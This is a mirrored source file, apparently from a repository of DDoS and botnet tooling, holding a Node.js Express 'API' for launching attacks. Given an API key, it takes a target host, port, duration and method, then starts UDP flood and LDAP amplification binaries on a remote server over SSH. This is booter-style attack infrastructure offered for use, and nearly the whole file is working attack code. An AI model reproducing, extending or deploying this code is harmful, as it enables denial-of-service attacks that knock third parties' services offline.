Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/API/spoof.js
5038 views
1
const { exec } = require('child_process');
2
const ssh2 = require('ssh2');
3
4
const server = 'your_ssh_server';
5
const username = 'your_ssh_username';
6
const password = 'your_ssh_password';
7
8
const express = require('express');
9
const app = express();
10
const port = 3000;
11
12
app.get('/', (req, res) => {
13
const apiKey = req.query.apiKey;
14
15
// HANDLE API KEY //
16
if (apiKey !== 'your_api_key') {
17
return res.status(401).send('ERR: INVALID KEY');
18
}
19
20
const host = req.query.host;
21
const port = parseInt(req.query.port) > 0 && parseInt(req.query.port) < 65536 ? parseInt(req.query.port) : 80;
22
const ip = /^[a-zA-Z0-9\.-_]+$/.test(host) ? host : res.status(400).send('Invalid host');
23
const time = parseInt(req.query.time) > 0 && parseInt(req.query.time) < 60 * 60 ? parseInt(req.query.time) : 30;
24
const domain = req.query.host;
25
26
if (!/^(https?|ftp):\/\//.test(domain) && !/^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)$/.test(domain)) {
27
return res.status(400).send('Invalid Domain');
28
}
29
30
const smIP = ip.replace(/\./g, '');
31
const smDomain = domain.replace(/\./g, '').replace('http://', '');
32
33
let command;
34
35
switch (req.query.method) {
36
case 'UDP':
37
command = `screen -dmS ${smIP} ./udp ${ip} ${port} 1 500 3 ${time}`;
38
break;
39
case 'LDAP':
40
command = `screen -dmS ${smIP} ./ldap ${ip} ${port} ldapx.txt 15 -1 ${time}`;
41
break;
42
// Add other cases for each method...
43
44
default:
45
return res.status(400).send('Invalid method');
46
}
47
48
// SERVER CONNECTION HANDLING //
49
50
const conn = new ssh2.Client();
51
52
conn.on('ready', () => {
53
console.log('Connection successful');
54
55
// EXECUTE COMMAND //
56
conn.exec(command, (err, stream) => {
57
if (err) throw err;
58
59
stream.on('close', (code, signal) => {
60
console.log(`Stream closed with code ${code} and signal ${signal}`);
61
conn.end();
62
}).on('data', (data) => {
63
console.log(`STDOUT: ${data}`);
64
}).stderr.on('data', (data) => {
65
console.log(`STDERR: ${data}`);
66
});
67
});
68
}).on('error', (err) => {
69
console.error(`Connection error: ${err}`);
70
}).connect({
71
host: server,
72
port: 22,
73
username: username,
74
password: password
75
});
76
77
res.send('Command executed');
78
});
79
80
app.listen(port, () => {
81
console.log(`Server listening at http://localhost:${port}`);
82
});
83
84